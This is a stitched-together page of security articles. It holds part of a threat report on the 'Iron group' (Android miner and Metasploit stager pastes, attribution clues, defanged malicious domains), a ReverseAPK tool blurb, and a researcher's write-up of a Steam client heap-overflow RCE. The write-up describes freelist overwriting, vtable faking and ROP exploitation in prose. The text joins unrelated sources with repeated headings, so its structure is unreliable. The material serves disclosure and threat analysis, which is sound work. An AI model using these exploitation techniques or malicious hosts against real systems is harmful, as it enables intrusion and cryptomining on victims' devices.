3. android: This paste holds a command line for an unknown backdoored application to execute on infected Android devices. This command line invokes remote Metasploit stager (android.apk) and drops cpuminer 2.3.2 (minerd.txt) built for ARM processor. Considering the last update date (18/11/17) and the low number of views, we believe this paste is obsolete.

4. androidminer: Holds the cpuminer command line to execute for unknown malicious android applications, at the time of writing this post, this paste received nearly 2000 hits.

Aikapool[.]com is a public mining pool and port 7915 is used for DogeCoin:

The username (myapp2150) was used to register accounts in several forums and on Reddit. These accounts were used to advertise fake “blockchain exploit tool”, which infects the victim’s machine with Cobalt Strike, using a similar VBScript to the one found by Malwrologist (ps5.sct).

XAttacker: Copy of XAttacker PHP remote file upload script.
miner: Holds payload URL, as mentioned above (IronStealer).


How many victims are there?
It is hard to define for sure, , but to our knowledge, the total of the attacker’s pastes received around 14K views, ~11K for dropped payload URL and ~2k for the android miner paste. Based on that, we estimate that the group has successfully infected, a few thousands victims.

Who is Iron group?
We suspect that the person or persons behind the group are Chinese, due in part to the following findings:
. There were several leftover comments in the plugin in Chinese.
. Root CA Certificate password (‘f*ck your mom123’ was in Mandarin)
We also suspect most of the victims are located in China, because of the following findings:
. Searches for wallet file names in Chinese on victims’ workstations.
. Won’t install persistence if Qhioo360(popular Chinese AV) is found



  • blockbitcoin[.]com
  • pool.blockbitcoin[.]com
  • ssl2.blockbitcoin[.]com
  • xmr.enjoytopic[.]tk
  • down.cacheoffer[.]tk
  • dzebppteh32lz.cloudfront[.]net
  • dazqc4f140wtl.cloudfront[.]net
  • androidapt.s3-accelerate.amazonaws[.]com
  • androidapt.s3-accelerate.amazonaws[.]com
  • winapt.s3-accelerate.amazonaws[.]com
  • swb[.]one
  • bitcoinwallet8[.]com
  • blockchaln[.]info
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ReverseAPK — Quickly Analyze And Reverse Engineer Android Packages

Quickly analyze and reverse engineer Android applications.


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    • Device info
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reverse-apk <apk_name>


Remote Code Execution Vulnerability in the Steam Client

Remote Code Execution Vulnerability in the Steam Client

Frag Grenade! A Remote Code Execution Vulnerability in the Steam Client

Frag Grenade! A Remote Code Execution Vulnerability in the Steam Client

This blog post explains the story behind a bug which had existed in the Steam client for at least the last ten years, and until last July would have resulted in remote code execution (RCE) in all 15 million active clients.

The keen-eyed, security conscious PC gamers amongst you may have noticed that Valve released a new update to the Steam client in recent weeks.
This blog post aims to justify why we play games in the office explain the story behind the corresponding bug, which had existed in the Steam client for at least the last ten years, and until last July would have resulted in remote code execution (RCE) in all 15 million active clients.
Since July, when Valve (finally) compiled their code with modern exploit protections enabled, it would have simply caused a client crash, with RCE only possible in combination with a separate info-leak vulnerability.
Our vulnerability was reported to Valve on the 20th February 2018 and to their credit, was fixed in the beta branch less than 12 hours later. The fix was pushed to the stable branch on the 22nd March 2018.


At its core, the vulnerability was a heap corruption within the Steam client library that could be remotely triggered, in an area of code that dealt with fragmented datagram reassembly from multiple received UDP packets.

The Steam client communicates using a custom protocol – the “Steam protocol” – which is delivered on top of UDP. There are two fields of particular interest in this protocol which are relevant to the vulnerability:

  • Packet length
  • Total reassembled datagram length

The bug was caused by the absence of a simple check to ensure that, for the first packet of a fragmented datagram, the specified packet length was less than or equal to the total datagram length. This seems like a simple oversight, given that the check was present for all subsequent packets carrying fragments of the datagram.

Without additional info-leaking bugs, heap corruptions on modern operating systems are notoriously difficult to control to the point of granting remote code execution. In this case, however, thanks to Steam’s custom memory allocator and (until last July) no ASLR on the steamclient.dll binary, this bug could have been used as the basis for a highly reliable exploit.

What follows is a technical write-up of the vulnerability and its subsequent exploitation, to the point where code execution is achieved.

Vulnerability Details



The Steam protocol has been reverse engineered and well documented by others (e.g. from analysis of traffic generated by the Steam client. The protocol was initially documented in 2008 and has not changed significantly since then.

The protocol is implemented as a connection-orientated protocol over the top of a UDP datagram stream. The packet structure, as documented in the existing research linked above, is as follows:

Key points:

  • All packets start with the 4 bytes “VS01
  • packet_len describes the length of payload (for unfragmented datagrams, this is equal to data length)
  • type describes the type of packet, which can take the following values:
    • 0x2 Authenticating Challenge
    • 0x4 Connection Accept
    • 0x5 Connection Reset
    • 0x6 Packet is a datagram fragment
    • 0x7 Packet is a standalone datagram
  • The source and destination fields are IDs assigned to correctly route packets from multiple connections within the steam client
  • In the case of the packet being a datagram fragment:
    • split_count refers to the number of fragments that the datagram has been split up into
    • data_len refers to the total length of the reassembled datagram
  • The initial handling of these UDP packets occurs in the CUDPConnection::UDPRecvPkt function within steamclient.dll


The payload of the datagram packet is AES-256 encrypted, using a key negotiated between the client and server on a per-session basis. Key negotiation proceeds as follows:

  • Client generates a 32-byte random AES key and RSA encrypts it with Valve’s public key before sending to the server.
  • The server, in possession of the private key, can decrypt this value and accepts it as the AES-256 key to be used for the session
  • Once the key is negotiated, all payloads sent as part of this session are encrypted using this key.


The vulnerability exists within the RecvFragment method of the CUDPConnection class. No symbols are present in the release version of the steamclient library, however a search through the strings present in the binary will reveal a reference to “CUDPConnection::RecvFragment” in the function of interest. This function is entered when the client receives a UDP packet containing a Steam datagram of type 0x6 (Datagram fragment).

1. The function starts by checking the connection state to ensure that it is in the “Connected” state.
2. The data_len field within the Steam datagram is then inspected to ensure it contains fewer than a seemingly arbitrary 0x20000060 bytes.
3. If this check is passed, it then checks to see if the connection is already collecting fragments for a particular datagram or whether this is the first packet in the stream.

Figure 1

4. If this is the first packet in the stream, the split_count field is then inspected to see how many packets this stream is expected to span
5. If the stream is split over more than one packet, the seq_no_of_first_pkt field is inspected to ensure that it matches the sequence number of the current packet, ensuring that this is indeed the first packet in the stream.
6. The data_len field is again checked against the arbitrary limit of 0x20000060 and also the split_count is validated to be less than 0x709bpackets.

Figure 2

7. If these assertions are true, a Boolean is set to indicate we are now collecting fragments and a check is made to ensure we do not already have a buffer allocated to store the fragments.

Figure 3

8. If the pointer to the fragment collection buffer is non-zero, the current fragment collection buffer is freed and a new buffer is allocated (see yellow box in Figure 4 below). This is where the bug manifests itself. As expected, a fragment collection buffer is allocated with a size of data_lenbytes. Assuming this succeeds (and the code makes no effort to check – minor bug), then the datagram payload is then copied into this buffer using memmove, trusting the field packet_len to be the number of bytes to copy. The key oversight by the developer is that no check is made that packet_len is less than or equal to data_len. This means that it is possible to supply a data_len smaller than packet_len and have up to 64kb of data (due to the 2-byte width of the packet_len field) copied to a very small buffer, resulting in an exploitable heap corruption.

Figure 4


This section assumes an ASLR work-around is present, leading to the base address of steamclient.dll being known ahead of exploitation.


In order for an attacker’s UDP packets to be accepted by the client, they must observe an outbound (client->server) datagram being sent in order to learn the client/server IDs of the connection along with the sequence number. The attacker must then spoof the UDP packet source/destination IPs and ports, along with the client/server IDs and increment the observed sequence number by one.


For allocations larger than 1024 (0x400) bytes, the default system allocator is used. For allocations smaller or equal to 1024 bytes, Steam implements a custom allocator that works in the same way across all supported platforms. In-depth discussion of this custom allocator is beyond the scope of this blog, except for the following key points:

  1. Large blocks of memory are requested from the system allocator that are then divided into fixed-size chunks used to service memory allocation requests from the steam client.
  2. Allocations are sequential with no metadata separating the in-use chunks.
  3. Each large block maintains its own freelist, implemented as a singly linked list.
  4. The head of the freelist points to the first free chunk in a block, and the first 4-bytes of that chunk points to the next free chunk if one exists.


When a block is allocated, the first free block is unlinked from the head of the freelist, and the first 4-bytes of this block corresponding to the next_free_block are copied into the freelist_head member variable within the allocator class.


When a block is freed, the freelist_head field is copied into the first 4 bytes of the block being freed (next_free_block), and the address of the block being freed is copied into the freelist_head member variable within the allocator class.


The buffer overflow occurs in the heap, and depending on the size of the packets used to cause the corruption, the allocation could be controlled by either the default Windows allocator (for allocations larger than 0x400 bytes) or the custom Steam allocator (for allocations smaller than 0x400 bytes). Given the lack of security features of the custom Steam allocator, I chose this as the simpler of the two to exploit.

Referring back to the section on memory management, it is known that the head of the freelist for blocks of a given size is stored as a member variable in the allocator class, and a pointer to the next free block in the list is stored as the first 4 bytes of each free block in the list.

The heap corruption allows us to overwrite the next_free_block pointer if there is a free block adjacent to the block that the overflow occurs in. Assuming that the heap can be groomed to ensure this is the case, the overwritten next_free_block pointer can be set to an address to write to, and then a future allocation will be written to this location.


The memory corruption bug occurs in the code responsible for processing datagram fragments (Type 6 packets). Once the corruption has occurred, the RecvFragment() function is in a state where it is expecting more fragments to arrive. However, if they do arrive, a check is made to ensure:

fragment_size + num_bytes_already_received < sizeof(collection_buffer)

This will obviously not be the case, as our first packet has already violated that assertion (the bug depends on the omission of this check) and an error condition will be raised. To avoid this, the CUDPConnection::RecvFragment() method must be avoided after memory corruption has occurred.

Thankfully, CUDPConnection::RecvDatagram() is still able to receive and process type 7 (Datagram) packets sent whilst RecvFragment() is out of action and can be used to trigger the write primitive.


Packets being received by both RecvDatagram() and RecvFragment() are expected to be encrypted. In the case of RecvDatagram(), the decryption happens almost immediately after the packet has been received. In the case of RecvFragment(), it happens after the last fragment of the session has been received.

This presents a problem for exploitation as we do not know the encryption key, which is derived on a per-session basis. This means that any ROP code/shellcode that we send down will be ‘decrypted’ using AES256, turning our data into junk. It is therefore necessary to find a route to exploitation that occurs very soon after packet reception, before the decryption routines have a chance to run over the payload contained in the packet buffer.


Given the encryption limitation stated above, exploitation must be achieved before any decryption is performed on the incoming data. This adds additional constraints, but is still achievable by overwriting a pointer to a CWorkThreadPool object stored in a predictable location within the data section of the binary. While the details and inner workings of this class are unclear, the name suggests it maintains a pool of threads that can be used when ‘work’ needs to be done. Inspecting some debug strings within the binary, encryption and decryption appear to be two of these work items (E.g. CWorkItemNetFilterEncryptCWorkItemNetFilterDecrypt), and so the CWorkThreadPool class would get involved when those jobs are queued. Overwriting this pointer with a location of our choice allows us to fake a vtable pointer and associated vtable, allowing us to gain execution when, for example, CWorkThreadPool::AddWorkItem() is called, which is necessarily prior to any decryption occurring.

Figure 5 shows a successful exploitation up to the point that EIP is controlled.

Figure 5

From here, a ROP chain can be created that leads to execution of arbitrary code. The video below demonstrates an attacker remotely launching the Windows calculator app on a fully patched version of Windows 10.


If you’ve made it to this section of the blog, thank you for sticking with it! I hope it is clear that this was a very simple bug, made relatively straightforward to exploit due to a lack of modern exploit protections. The vulnerable code was probably very old, but as it was otherwise in good working order, the developers likely saw no reason to go near it or update their build scripts. The lesson here is that as a developer it is important to periodically include aging code and build systems in your reviews to ensure they conform to modern security standards, even if the actual functionality of the code has remained unchanged. The fact that such a simple bug with such serious consequences has existed in such a popular software platform for so many years may be surprising to find in 2018 and should serve as encouragement to all vulnerability researchers to find and report more of them!

As a final note, it is worth commenting on the responsible disclosure process. This bug was disclosed to Valve in an email to their security team ( at around 4pm GMT and just 8 hours later a fix had been produced and pushed to the beta branch of the Steam client. As a result, Valve now hold the top spot in the (imaginary) Context fastest-to-fix leaderboard, a welcome change from the often lengthy back-and-forth process often encountered when disclosing to other vendors.

A page detailing all updates to the Steam client can be found at